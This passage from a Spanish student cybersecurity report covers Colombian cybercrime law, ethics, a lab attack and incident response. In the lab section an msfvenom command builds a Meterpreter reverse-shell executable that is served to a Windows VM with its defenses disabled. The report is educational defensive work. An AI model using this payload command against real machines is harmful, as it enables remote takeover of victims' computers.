de todos los candidatos que han pasado por sus procesos de reclutamiento por lo cual
estan equivocados, ya que la Ley 1581 de 2012 obliga a individuos, organizaciones o
empresas a cuidar la informacién confidencial o personal registrada en cualquier base

de datos.

Todas las personas tienen poder de decision sobre su informacién personal, tienen
derecho a saber el manejo que se le da a su informacién y también tienen el poder de
decidir quien tiene, en qué condiciones y hasta cuando puede usar su informacion. Es
decir, HackerHouse no es la duefia total de esa informacion ni puede hacer lo que le

parezca con esos datos.

Por otro lado, se entiende que la empresa realiza actos ilicitos mencionado en la
segunda clausula porque se mencionan accesos abusivos a sistemas informaticos lo
cual es un delito de indole informatico contemplado en la ley 1273 del 2009 articulo
269A.

269A Acceso abusivo a un sistema informatico: este articulo trata sobre la intrusion

a un sistema de informacion, en el que una persona que se podria llamar “delincuente

informatico”, accede sin permiso o autorizacién a un sistema el cual puede o no tener
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algun tipo de seguridad. Este articulo representa una amenaza para cualquier persona

o alguna organizacién, ya que pone en riesgo informacion de vital importancia.

La organizacion menciona que el acuerdo esté regido bajo las leyes colombianas y
considero que probablemente lo mencionan para confundir a los candidatos a
pertenecer a los equipos de ciberseguridad y si estos expertos no tienen conocimiento

de la 1273 de 2009 y 1581 de 2012 pueden estar cayendo en una trampa.

2.2.3 Cdbdigo ética Copnia

La respuesta es NO a si aceptaria un proceso de contratacion con HackerHouse, ya
gue como se evidencia en su acuerdo de confidencialidad, este contiene procesos

ilegales como se menciond anteriormente en los puntos 1y 2 de este trabajo.

COPNIA’ en su cédigo de ética, define una serie de conductas de indole profesional en
donde se exige, prohibe o inhabilita a los ingenieros en Colombia. Este cédigo es
basicamente un marco legal que habla del comportamiento profesional y ético de un

ingeniero.

Este codigo esta contenido en la Ley 842 de 2003 y alli se mencionan algunas
sanciones clasificadas como faltas leves, medias y graves. Entre las faltas leves esta
una amonestacion escrita, entre las medias esté la suspension de la tarjeta profesional

en maximo 5 afios y en las graves la cancelacion de la matricula profesional.

7 COPNIA. [Sitio web]. Cddigo de ética. [Consulta: 21 de febrero 2024]. Disponible en:
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
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2.2.4 Noticia cibercrimen

De acuerdo con El tiempo? alias “Orgén”, un delincuente informatico miembro del grupo
“‘Anonymous Colombia” desde el 2020 hasta 2023, se dedicaba a realizar delitos
informaticos sistematicamente hasta que fue condenado por delitos como acceso
abusivo a un sistema informatico, dafio informatico y obstaculizacién ilegitima de un

sistema informéatico, ya que la fiscalia tenia contenia pruebas sobre los delitos.

Este delincuente accedi6 en repetidas ocasiones a sitios web de diferentes instituciones
publicas y privadas, en donde modific el aspecto real de la pagina saboteando y
desacreditando las instituciones como alcaldias, personerias y de transito.

Orgon fue condenado a 3 afios y 5 meses de prision y se le otorgaron multas de 80
salarios minimos gracias a sus acciones delictivas. En este punto se puede resaltar las
implicaciones legales que conlleva a que una persona realice este tipo de actos, ya que
segun esta ley las personas que incurran en estos delitos podrian estar en la carcel
entre 48 a 120 meses y ser multados con 200 a 1500 SMLV.

Los delitos imputados a este atacante se encuentran descritos en la ley 1273 del 2009,

articulo 269 numerales A (acceso abusivo), B (obstaculizacion), D (dafio informatico).

Estos delitos en Colombia y en el mundo son frecuentes, ya que los atacantes
aprovechan las vulnerabilidades detectadas en los sistemas de informacién. Segun el
diario El Espectador®, el delito acceso abusivo a sistemas informaticos es uno de los 3
delitos de mas impacto en Colombia y esta asociado a las primeras fases de un ataque

informatico.

8 EL TIEMPO. [Sitio web]. Carcel para ‘Orgoén’, ciber ladrén que atacé a varias entidades publicas.
[Consulta: 19 de febrero 2024]. Disponible en: https://www.eltiempo.com/justicia/investigacion/carcel-
para-orgon-ciberladron-que-ataco-a-varias-entidades-publicas-838785

9 EL ESPECTADOR. [Sitio web]. Estos son los tres ciberdelitos de mayor impacto en Colombia en 2021.
[Consulta: 21 de febrero 2024]. Disponible en: https://www.elespectador.com/colombia/mas-
regiones/estos-son-los-tres-ciberdelitos-de-mayor-impacto-en-colombia-en-2021/
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Desde un punto de vista ético, es precisamente la ética un factor clave en la
ciberseguridad, ya que individuos que tienen conocimientos para vulnerar un sistema

informatico deben usar su ética para tener un discernimiento entre lo legal o lo ilegal.
2.3 PRUEBAS REALIZADAS

2.3.1 Software utilizado

2.3.1.1 Kali Linux

Es un sistema operativo perteneciente a Linux y basado en Debian, creado
especialmente para seguridad informatica, basicamente para hacking ético. Contiene
paquetes de herramientas importantes como Wireshark, Metasploit, Aircrack, entre otros.
2.3.1.2 Metasploit

Es una herramienta usada por los equipos expertos Red team y Blue team generalmente
para encontrar vulnerabilidades de seguridad, ya que contiene un framework
especializado.

Este framework es muy completo, ya que como se mencioné en la Etapa 1, contiene
varios moédulos los cuales aumentan las funcionalidades como payloads que son cédigos

gue explotan las vulnerabilidades (exploits) contenidas en esta herramienta.

Otros modulos que se pueden encontrar son los encoders los cuales son cédigos de

cifrado para evadir antivirus u otros sistemas de seguridad.
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Figura 24. Modulos de Metasploit

Metasploit provides you with modules for:
Tool used to take advantage of system weaknesses
Sets of malicious code
Supplementary tools and commands
Used to convert code or information
Malicious software that hides in order to gain access
Code that is programmed to activate once inside the target

Helps test deeper penetration once inside

An instruction to keep the payload from crashing

Fuente: Varonis

2.3.1.3 MSFconsole y MSFvenom

Msfconsole es la interfaz de Metasploit en donde los usuarios acceden a esta herramienta

por medio de una consola para que esta interprete los comandos ingresados.

Msfvenom por su parte, esta incluido en Metasploit y se usa para la creacion de payloads

(carga util — carga maliciosa) los cuales se ejecutan e infiltran en un pc victima.

Pendolemal® afirma que una caracteristica especial de este framework es la capacidad

para la creacion de payloads en diferentes plataformas y arquitecturas.

10 PENDOLEMA, Fredy. [en linea]. Metasploit framework Analisis de ataques mediando la inyeccion de
troyanos a un sistema operativo Microsoft utilizando la herramienta Msfvenom en el sistema Kali Linux.
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Msfvenom al igual que Metasploit fueron creados con fines éticos y legitimos con previa

autorizacion de uso para endurecer la seguridad de los sistemas.

Figura 25. MSFConsole

i kali-linux-2023.4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox - O X

Archivo M3quina Ver Entrada Dispositivos Ayuda

T L EEEE

kali@kali: ~
File Actions Edit View Help

Initiating NSE at 13:01
NSE: [firewall-bypass] lacks privileges.
~ Completed NSE at 13:04, 171.62s elapsed
Initiating NSE at 13:04
NSE: [tls-ticketbleed] Not running due to lack of privileges.
Completed NSE at 13:04, 0.14s elapsed
Nmap scan report for 10.0.2.4
Host is up (0.00064s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| _http-server-header: Microsoft-HTTPAPI/2.0
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| _smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to re
ceive bytes: ERROR

Fuente: creacion propia

2.3.1.4 Meterpreter

Es un cédigo malicioso (payload) que puede ejecutar tareas remotamente en una
maquina. Es dificil de detectar, ya que es ejecutado en un nivel muy bajo de dicha
maguina victima. Por medio de Meterpreter, un atacante o hacker ético puede manejar
remotamente cualquier maquina y manipular archivos, conectarse a una camara web

entre muchas cosas.

[Consultado 12 marzo 2024]. Disponible en: http://dspace.utb.edu.ec/bitstream/handle/49000/15038/E-
UTB-FAFI-SIST.INF-000192.pdf?sequence=1&isAllowed=y
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2.3.1.5 Nmap

Esta es una herramienta para mapear redes para exploracién y medicion de seguridad.
Segln Nmap ! esta herramienta tiene como objetivo la obtencion de informacion para

realizar auditorias de seguridad.

El funcionamiento de esta herramienta consiste en enviar paquetes sin procesar hacia
los puertos del sistema con el fin de diagnosticar si estan abiertos, filtrados o cerrados.

Por otro lado, usa protocolos como TCP, UDP,ICMP de la capa de transporte.

Figura 26. Nmap

Fuente: Nmap

11 NMAP. [Sitio web]. Guia de referencia de Nmap (Pagina de manual). [Consulta: 13 de marzo 2024].
Disponible en: https://nmap.org/man/es/index.html
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2.3.2 Informacién de identificacion del fallo

Los fallos de seguridad encontrados en el anexo 4 fueron:

e Firewall en Windows desactivado

Es importante que los equipos tengan instalado y funcionando un firewall, ya que este los

protege de accesos no autorizados logrando de esta forma proteger el equipo y la red.

Es una herramienta de seguridad que funciona como un monitor de trafico de red
entrante y saliente y segun el caso, permite y bloguea el trafico segun las reglas

definidas de seguridad.

Existen diferentes tipos de firewall como de aplicaciones, de bases de datos, NGFW,

proxy, entre otros.

e Antivirus Windows Defender desactivado

De igual forma, es importante que los equipos tengan instalado un antivirus como sistema
de seguridad para protegerlos de ataques maliciosos.
Proteccién en tiempo real en Windows desactivada

e Puerto 443 abierto

e Por desconocimiento e ignorancia se ejecuto el archivo con extension .exe
2.3.3 Herramienta de deteccion
Para la identificacion de los fallos de seguridad, se puede usar Nmap, la cual permite

escanear una IP y detectar que puertos se encuentran abiertos y que dispositivos se

estan ejecutando en una red.
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Figura 27. Escaneo con Nmap

B a1 2 3 4%y O 4$ A 52042 & c

kali@kaliz ~
Applications
iile Actions Edit View Help
Initiating Service scan at 20:30
Trash Scanning 21 services on 10.0
Completed Service scan at 20 103.82s elapsed (21 services on 1 host)
- NSE: Script scanning 10.0.2.

P = Initiating NS
',,/" NSE: [firewall-! acks privileges.

Completed NSE at 514.96s elapsed

File Syst nNsSE: ketbleed] Not running due to lack of privileges.
S -injection] No response from server: ERROR

Completed NSE 141, 0.89s elapsed
Nmap scan report for 10.0 4
#% Host is up (0.0024s latency).

Not shown: 979 closed tcp ports (conn-refused)
STATE SERVICE VERSION
open ftp Microsoft ftpd
open ssh OpenSSH 7.1 (protocol 2.0)
open http Microsoft IIS httpd 7.5
tp-server-header: Microsoft-IIS/7.5

lners.com/seebug/SSV:20122 *EXPLO

CVE-2010-273 9 //vulners.com/cve/CVE-2010-2730
SSV:20121 =3 /vulners.com/seebug/SSV:20121 *EXPLO

Gl & A ElEE § A ) o nFrFcHA

Fuente: creacion propia

El puerto 443 fue el que se usé y generalmente esta abierto en la mayoria de los equipos

de coOmputo.

2.3.4 ¢Como se afectala maquina?

Se afecta muy significativamente la maquina, porque se puede manipular remotamente
para lo que se necesite y comprometerla. Como se mencioné anteriormente, se pueden
eliminar archivos, crearlos, modificarlos, ver informacion confidencial y hasta dafar la

maguina intencionalmente donde se perderia un activo de informacion.

A través de Kali Linux se utilizo Metasploit con la cual se cre¢ el payload por medio de su

consola MSFConsole y MSFvenom.

Se inicia Apache y se hace uso del exploit mencionado para que de inicio al ataque. La

victima ejecuta el archivo .exe el cual se descarga e instala en el Windows. Finalmente
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la maquina que ataca toma el control de la maquina Windows en donde elimina

archivos.

Figura 28 Atague con Metasploit

ATACANTE VICTIMA

Aplicacion/Servicio

Metasploit
<
g8
=
EXPLOIT EEEER ) %
=
=
PAYLOAD =

Fuente: creacion propia
2.3.5 Documentacién y comandos
Luego de haber instalado previamente el escenario con las maquinas virtuales Kali Linux

y Windows, en la maquina Windows 10 se desactivan los servicios de seguridad como el

Firewall y Antivirus.
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Figura 29 Desactivacion de servicios de seguridad en Windows 10

&8 Windows 10 [Corriendo] - Oracle VM VirtualBox 2 X
Archivo Maquina Ver Entrada Dispositivos  Ayuda

ootz Seguridad de Windows - o x

@ Inicio

[:v = Seguridad de un vistazo
Buscar una opcién

Actualizacién y segy

< Windows Updal o
84 Optimizacién d¢ ¢ : 1 % ( |8
I () Seguridad de W 8 Proteccion contra virus y Proteccién de cuentas Firewall y proteccién de red
amenazas No se requiere ninguna accién. El fi ivado estd
= a La proteccion basada en la nube des do. El dispositivo podria
1T Copia de seguri estar en riesgo.
@
£ Solucién de prd Activar
h Activar
& Recuperacién
Ignorar
@ Activacion

Fuente: creacién propia

En los terminales de las dos maquinas Windows y Linux, se digita el comando ipconfig y

también ifconfig respectivamente para saber la ip de cada maquina

Figura 30. Comandos ipconfig - ifconfig

) C [ Kali-linux-2023 4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox — o X

Archivo  Méquina  Ver Ayuda

"m PO

Entrada _ Dispositivos

dministrador: Simbolo del sistema

kali@kali: ~
File Actions Edit View Help

<UP, BROADCAST, RUNNING,MULTICAST> mtu 1500
netmask 255.255.255.0 broadcast 10.0.2.255
f e prefixlen 64 scopeid 0 Link

1:d0 txqueuelen 1000 (Ethernet)
(0.0 B)
dropped @ overruns @ frame 0
bytes 3435 ( <iB)
dropped @ ov carrier @ collisions @

g <UP, LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask

inet6 ::1 prefixlen scopeid 0x10<host>

loop txqueuelen 1000 (L Loopback)

RX packets 4 bytes 240 (240.0 B)

RX errors @ dropped 0 o uns @

AR kets 4 byt 240 (240.0 B)

TX errors @ dropped @ overruns @ carrier @ collisions 0

BOk & Bl glE @ cr DRecta @ & Ed8 8] @ creperecHa

Fuente: creacion propia

Se hace un ping a las dos maquinas para verificar conexién

45



Figura 31. Ping entre maquinas

| e i kali-linux-2023.4-virtualbox-amdé4 [Corriendo] - Oracle VM VirtualBox - o X

Archivo Ver Entrada Dispositivos Ayuda

o)1 2 3

Méquina

B¥ Administrador: Simbolo del sistema

kali@kall

File Actions Edit View Help

prefixlen 128 scopeid @x10<host>
ueuelen 1000 (Local Loopback)
RX packets 42 bytes 4496 (4.3 KiB)
© dropped @ overruns @ frame @
bytes 4496 (4.3 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

bytes
bytes from
bytes from
bytes from

ping statistic
nsmitted, 5

B Ok & B g)® R cmre derecHa & & |E i 8] @ @) cre berecHa

Fuente: creacién propia

Se escanea la maquina Windows con la herramienta Nmap para conocer que puertos
tiene abiertos

Figura 32. Escaneo de puertos con Nmap

a kali-linux-2023.4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox — ] X

Archivo Ver Entrada Dispositivos Ayuda

ToHE

Méaquina

kali@kal

File Actions Edit View Help

Initiating NSE at 13:01

NSE: [firewall-bypass] lacks privileges.

Completed NSE at 13:04, 171.62s elapsed

Initiating NSE at 13:04

NSE: [tls-ticketbleed] Not running due to lack of privileges.
Completed NSE at 13:04, 0.14s elapsed

Nmap scan report for 10.0.2.4

Host is up (0.00064s latency).

Not shown: 996 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.

| _http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| _http-server-header: Microsoft-HTTPAPI/2.0

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| _smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to re
ceive bytes: ERROR

Fuente: creacién propia
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En Linux se inicia Metasploit con el comando msfconsole

Figura 33. Inicio de herramienta Metasploit

a kali-linux-2023.4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox - (] X

Archivo Maquina Ver Entrada Dispositivos Ayuda

B oaPor]-|1 2 3 2|

= s kali@Kkali: ~

File Actions Edit View Help

=[ me

+ — —=[ 2 auxiliary - 416 post
+ -- --=[ 1388 payloads - 46 encoders - 11 nops
+ — --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > i

Fuente: creacion propia

Se crea el payload con el comando msfvenom -p windows/x64/meterpreter/reverse_tcp
—platform Windows -a x64 LHOST=10.0.2.16 LPORT=443 -f exe >> PoC_53076 como

se observa en la siguiente imagen

Figura 34. Creacion del payload
o root@kali: fhome/kali/Desktop

File Actions Edit View Help

/home/kali
f m -p windows/x64/meterpreter/reverse_tcp ylatform windows

-a X64 LHOST=10.0.2.15 -f exe>> /var/vwww/html/PoC_53076.exe
No encoder specified, outputting raw payload

Payload size: 510 bytes

Final size of exe file: 7168 bytes

Fuente: creacién propia
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En la carpeta html se observa el archivo creado

Figura 35. Evidencia payload en Kali

html - Thunar

File Edit View Go Bookmarks Help
> 4+ A « @ var www html

Places
& Computer . .

B kali
Desktop

@ Recent
' Trash

index.html index.nginx-  PoC_53076.exe
debian.html

& Documents

2 Music

B Pictures

= Videos

¥ Downloads
Devices

_E File System
Network

[ Browse Network

3 files: 18.1KiB (18,484 bytes) | Free space: 60.8 GiB

Fuente: creacion propia

Luego de este paso se inicia el servicio de Apache y hace uso del payload multi/handler

para iniciar el ataque.

Desde el navegador del Windows 10, se digita la ip del Kali para dar ejecucion a el

archivo y poder controlar la maquina de forma remota.
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2.4 CONTENCION DE ATAQUES

2.4.1 Pasos para la identificacion

De acuerdo con el modelo de gestion de incidentes del MinTIC*?, |o ideal para una
organizacion es tener un plan estructurado que le permite manejar de la forma mas
adecuada un incidente de seguridad.

Esta guia esta basada en componentes del NIST y la norma ISO 27035.

Figura 36. Modelo de gestion de incidentes

Contencion,

Eradicacion, Actividades

Preparacion Deteccion

Y Analisis yRecuperacion /7 Postncidente

Fuente: MinTIC

2.4.1.1 Etapa 1 Preparacion

Esta etapa se cred para que una organizacion este en la capacidad de responder ante
un incidente informético y también como una forma anteceder a los incidentes para

detectarlos y evaluarlos.

Por otro lado, el CSIRT o el SOC, debe velar por los recursos en atencién a dichos
incidentes.

12 MinTIC. [Sitio web]. Guia para la Gestion y Clasificacion de Incidentes de Seguridad de la Informacién.
[Consulta: 21 de marzo 2024]. Disponible en: https://www.mintic.gov.co/gestionti/615/articles-
5482 G21 Gestion Incidentes.pdf
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También en esta etapa, el equipo de Tl debe apoyar este proceso, implementando las
mejores practicas para que los sistemas y redes estén asegurados. Por ej. pueden
gestionar parches de seguridad, asegurar las plataformas, prevenir malware con
antivirus y realizar sensibilizacién y capacitacion a los empleados o usuarios del

sistema.

2.4.1.2 Etapa 2 Deteccion

Existen eventos explicitos que indican que un incidente ha ocurrido como por ejemplo
caida de servidores, reporte de usuarios o software o funcionamientos extrafios y fuera

de lo normal.

Al evaluar un incidente existen unos niveles de impacto que deben ser tenidos en

cuenta. Estos se clasifican en alto, medio y bajo impacto. En los niveles de alto impacto
se encuentran eventos catastroficos o que afectan el buen nombre de la organizacion o
aspectos legales. Por su parte los niveles de medio impacto son los que afectan activos

de informacién de forma moderada y los de bajo son un poco insignificantes.

2.4.1.3 Etapa 3 Contencién

En esta etapa se refleja la importancia de implementar estrategias en las que la
organizacion pueda tomar decisiones oportunamente en donde no se propague el

incidente y se disminuya el dafio causado.

Aqui se intenta detener el incidente para que no sea propagado y cause dafos a la
informacion o las redes. Es importante que las organizaciones previamente cuenten con
estrategias de contencion para tomar decisiones acertadas a tiempo. Estas decisiones

pueden incluir apagado, desconexion o deshabilitar servicios.
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Luego de la contencion del incidente, se procede a hacer una erradicacion y eliminacion
de todo rastro que dejo el incidente y se hace una recuperacion de todos los servicios
que fueron afectados. Aqui lo ideal es hacer un endurecimiento o “hardening” d ellos

sistemas que prevengan futuros ataques.

2.4.1.4 Etapa 4 Actividades Post incidente

En esta etapa basicamente se realiza un reporte o informe de lo ocurrido en el
incidente, lecciones aprendidas, se establecen medidas de tecnologia y judiciales de

acuerdo al caso.

Esta fase es de suma importancia las lecciones aprendidas para en un futuro no
cometer los mismos errores y mejorar. Esta parte es esencial, ya que se reconoce lo
gue sucedi6 exactamente en el incidente y su gestion, procedimientos documentados o

las acciones correctivas para prevenir incidentes futuros.

2.4.2 Paso a paso para subsanar un sistema

Luego de un incidente informatico en el que se us6 un Payload, el paso a seguir para
subsanar el sistema, en este caso el equipo con SO Windows 10 infectado es el

siguiente:

1) Uso de una herramienta de supervision como Wireshare, para identificar la red y
posibles fallos - vulnerabilidades que desencadenen amenazas.
Segun Juarez'® Wireshare es una valiosa herramienta que permite hacer captura
de los datos que pasan por una red. Por medio de su interfaz grafica, analiza los

paquetes permitiendo ver el trafico en tiempo real de internet.

13 JUAREZ, Luis. [Sitio web]. ¢ Qué es Wireshark?. [Consulta: 24 de marzo 2024]. Disponible en:
https://www.linkedin.com/pulse/qu%C3%A9-es-wireshark-luis-juarez/?originalSubdomain=es
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Figura 37. Interfaz Wireshark

M tu-netflix-problems-2011-07-06.pcap - u] x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tocls Help
dnse nRE ses=g o= aaan
Apply a display fiter ... <Cirl-/> =3 - Expression +
Mo, Time Source Destinaton Protocol  Length  Info ~
3 343 65,142415 192.168.0.21 174,129.249.228 TCP 66 48555 = 8@ [ACK] Seq=1 Ack=1 Win=5888 Len=@ TSval=491519346 TSecr=551811827
i 344 §5.142715 192.168.8.21 174.129.249.228 HTTP 253 GET /clients/netflix/flash/application.swf?flash_version=flash_lite_2.18v=1.58nr
| 345 65.230738 174.129.249.228 192.168.8.21 TP 66 88 = 40555 [ACK] Seq=1 Ack=188 Win=6864 Len=8 TSval=551811858 TSecr=491519347
3 346 65,24@742 174,129.249,228 192,168.9.21 HTTP 828 HTTP/1.1 382 Moved Temporarily =
i 347 65.241592 192.168.9.21 174.129.249.228 TCP 66 48555 = 80 [ACK] 5eq=188 Ack=763 Win=7424 Len=@ T5val=491519446 TSecr=551811852 |
348 65.242532 192.168.8.21 192.168.0.1 DS 77 Standard query @x2188 A cdn-8.nflximg.com
349 65.27687@ 192.168.08.1 192.168.0.21 DNS 489 Standard query response @x2188 A cdn-@.nflximg.com CNAME images.netflix.com.edge_]
| 35@ 65.277992 192.168.8.21 63.50.242.48 TcP 74 37863 - 8@ [SYN] Seq=@ Win=584@ Len=@ MS5=146@ SACK_PERM=1 TSval=491519482 TSecr—
3 351 65.297757 63.80.242.48 192.168.0.21 TCP 74 88 - 37863 [SYN, ACK] Seq=@ Ack=1 Win=5792 Len=8 M55=1468 SACK_PERM=1 TSval=329%
| 352 65.298396 192.168.8.21 63.80.242.48 TcP 66 37863 - 8@ [ACK] Seqel Ack=l Win=5888 Len=@ TSval=491519582 TSecr=329553s138 | |
3 353 65.208687 192.168.0.21 63.80,242.48 HTTP 153 GET /us/nrd/clients/flash/§14548.bun HTTP/1.1 f
i 354 65.318730 63.808.242.48 192.168.8.21 Tcp 66 88 + 37863 [ACK] Seq=1 Ack=88 Win=5792 Len=0 TSval=3295534151 TSecr=491519503 _
| 355 65.321733 63.80.242.48 192.168.8.21 TP 1514 [TCP segment of a reassembled PDU] v
< >
> Frame 349: 489 bytes on wire (3912 bits), 489 bytes captured (3912 bits) A
> Ethernet II, Src: Globalsc_88:3b:0a (f@:ad:4e:88:3b:8a), Dst: Virio_14:Ba:el (@8:19:9d:14:8a:el)
> Internet Protoccl Version 4, Src: 192.168.8.1, Dst: 192.168.8.21
> User Datagram Protocol, Src Port: 53 (53), Dst Port: 34@36 (34036)
v Demain Name System (response)
uest Tn: 345
[Time: 8.834333008 seconds]
Transaction ID: @x2188
» Flags: 8x818@ Standard query response, No error
Questions: 1
Answer RRs: 4
Authority RRs: 9
Additional RRs: 9
¥ Queries
» edn-@.nflximg.com: type A, class IN
> Answers
> Authoritative nameservers "
15 0@ 35 84 74 81 ¢7 83 3f NS 81 8@ @@ el I . ~
94 92 B9 9@ 89 @5 63 64 Ge 2d 38 @7 Ge 66 6c . .c dn-8.nfl
69 6d 67 ©3 63 6f 6d ©0 00 01 20 @1 c& ec @@  ximg.com . E
92 @1 20 9@ B5 29 @0 22 @6 69 6d Gl 67 65 73 eeenss)s ".images
6e 65 74 66 6¢c 69 78 ©3 63 6 6d @9 65 64 67 .netflix .com.edg
73 75 69 74 65 @3 Ge 65 74 @@ <@ 2f @0 @5 @@  esuite.n et../... v
@ 7 1dentification of transaction (dns. k), 2 bytes Packets: 10299 - Displayed: 10299 (100,0%) * Load time: 0:0.182|| Profie: Default

Fuente: Capterra

2) Descargar la guia de controles del CIS para Windows 10 con el fin de endurecer

el sistema, de acuerdo a las recomendaciones dadas.
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Figura 38. CIS Windows 10

Overview

All CIS Benchmarks focus on technical configuration settings used to maintain and/or
increase the security of the addressed technology, and they should be used in
conjunction with other essential cyber hygiene tasks like:

+ Monitoring the base operating system for vulnerabilities and quickly updating with
the latest security patches

» Monitoring applications and libraries for vulnerabilities and quickly updating with
the latest security patches

In the end, the CIS Benchmarks are designed as a key component of a comprehensive
cybersecurity program.

This document provides prescriptive guidance for establishing a secure configuration
posture for Microsoft Windows.

This secure configuration guide is based on Microsoft windows 10 and is intended for
all versions of the Windows 10 operating system, including older versions. This secure
configuration guide was tested against Microsoft Windows 10 Release 22H2
Enterprise.

To ensure all new and updated group policy objects (GPOs) are installed on the system,
please download the latest version of the zmoz/zoun templates for Windows 11,
Templates can be downloaded from Microsoft at: Download ADMX Templates for
Windows 11 2023 Update [23H2] from Official Microsoft Download Cenier.

To obtain the latest version of this secure configuration guide, please visit
https:/www.cisecurity.org/cis-benchmarks/. If you have questions, comments, or have
identified ways to improve this guide, please write us at feedback@cisecurity org.

Intended Audience

The Windows CIS Microsoft Windows Benchmarks are written for Active Directory
domain-joined systems using Group Policy, not standalone/workgroup systems.
Adjustments/tailoring o some recommendations will be needed to maintain functionality
if aftemntinn tn imnlement C1S hardeninn on standalone svsfems nr a3 system ninnina in

Fuente: CIS Benchmarks

3) Asegurar la maquina afectada instalando un antivirus que esté actualizado,

habilitando un potente firewall y las actualizaciones del sistema.
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2.4.3 Diferencia Red — Blue Team, Purple Team

Como es de conocimiento, los red teams se enfocan en la seguridad ofensiva y su
propasito es buscar vulnerabilidades y explotarlas con el fin de probar los controles que

tiene una organizacion frente a la seguridad y la respuesta a ataques reales.

Por su parte, los blue teams se enfocan en la defender la seguridad siendo su propdésito
identificar potenciales amenazas y mitigarlas lo antes posible para que no causen dafio
a los sistemas. También buscan implementar controles y constantemente supervisan en

la busqueda de actividades sospechosas.

Ahora se mencionara la diferencia que tienen estos dos equipos con los purple team y
los CSIRT. Los purple team son la combinacion de los anteriores equipos mencionados

(red-blue team) y durante una operacion, trabajan juntos y aprenden colaborativamente.
Una vez se termina el ejercicio, los dos equipos comparten sus conclusiones lo cuales

beneficioso, ya que ayuda a entender que hay que mejorar aparte de mejorar la eficacia

y colaboracién ente las partes.
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Figura 39. Cuadro comparativo Red, Purple y Blue team

RED TEAM | PURPLE TEAM  BLUE TEAM

« Offensive security « Collaborative security « Defensive security
« Oppose Blue Team * Red and Blue Teams « Oppose Red Team
. tElvad:ti protecti%n llatnd 2’"““’" together“ » Protect systems & data
etection capabilities « Cooperate to test/improve - . ;
detection and defense Threat Hunting/Intelligence

« Compromise credentials « Malware Analysis

- « Improve both offensive and
* Escalate priviteges defensive skill sets « Digital Forensics
* Move laterally acress « Vulnerability scanning and « Security Operations &
systems penetration testing Incident Response are
 ACEis Red Team Blue Teams

Fuente: Ugbar UN

Es importante mencionar que los blue team se apoyan en diversos marcos de
ciberseguridad como el NIST o ENFSI los cuales se apoyan a las organizaciones en la
gestidn de los riesgos en ciberseguridad y proporcionan guias con las mejores practicas

para la gestion.
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Figura 40. Cuadro comparativo NIST - ENFSI

~  NIST vs ENFSI

Cucdro compcamwo

NIST ENFSI

Contiene un manual de buenas practicas al
realizar un examen forense.

Contiene una guia de técnicas forenses en
respuesta a incidentes de ciberseguridad.

Procesos para realizar el examen:
1) Valoracién inicial

Fases bésicas para hacer un andlisis forense
1) Recopilacién

2) Examen 2) Priorizacién y secuencia de ensayos

z) Andlisis 3) Reconstruccidn

4) Informe 4) Evaluacién e interpretacién
ormes

5] Presentacién de resultados

Personal forense
- Investigadores
- Profesionales de T
- Manejadores de incidentes

Equipo:
- Experto en elaboracisn de informes
- Anah’stu/Auxi‘iar

Fuentes de datos: sistemas informdticos, equipacs Materiales de referencia: sin requisitos especificos
de red, periféricos, asistentes digitales Materiales y reactivos: no hay necesidades
personales, dispositivos de consumo especificas

ONONCORORONC)

Fuente: NIST. Primeros pasos - Marco de ciberseguridad. https:/ /nvlpubs.nist.gov /nistpubs /SpecialPublications /NIST.SP.1271es.pdf
EMFSI. Manual de buenas prdcticas para examenes forenses. https: //enfsi.eu/wp-content /uploads /2023 /03 /BPM-Handwriting-Ed.-4-Spanish-version.pdf

Fuente: creacién propia
Por su parte los equipos de respuesta a incidentes informaticos tienen como propdésito

recibir y la revision de informes acerca de incidentes y también responder ante

situaciones de amenaza.
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Figura 41. Proceso de respuesta a incidentes

Proceso del Equipo de Respuesta a Incidentes

Preparar
E la itat | de gestié d'incid

Formacié | mnblnz;db en seguretat
Guies | formularis per a report d'incidents

Llistes de notificacio
Eines per a Panalisi i seguiment d’incidents
de fi litat i de lacié d'inft

Politiques
Politiques | procediments de resposta

Detectar Triatge Respondre
: : g (t&cnic, legal, gestio)
Reportar Categoritzar
Llistes de correu ~ Correlar Verificar
Coneixement de - Assignar * Contenie

I'“escona”

Resposta a Incidents

Protegir
Actualitzacié de les defenses internes i externes basada en els riscos
actuals

Analisi de riscos
Escaneig de vulnerabilitats

Fuente: OWASAP

2.4.4 Funciones CIS dentro de equipos Blue Team

Los puntos de referencia del CIS son un grupo de estandares propuestos para el
endurecimiento o hardening de sistemas de TIl, recomendados para la configuracion de
infraestructura en la nube con todo lo concerniente como equipos, software, redes,

servicios, etc.

CISCO' menciona que a la fecha, existen 140 puntos de referencia en total divididos

en 8 categorias. El desarrollo de estos puntos se hace a través de comunidades de

14 CISCO. ¢,Qué son los puntos de referencia de CIS?. [pagina web]. [Consultado: 11 de octubre de
2023]. Disponible en Internet: https://www.ibm.com/mx-es/topics/cis-
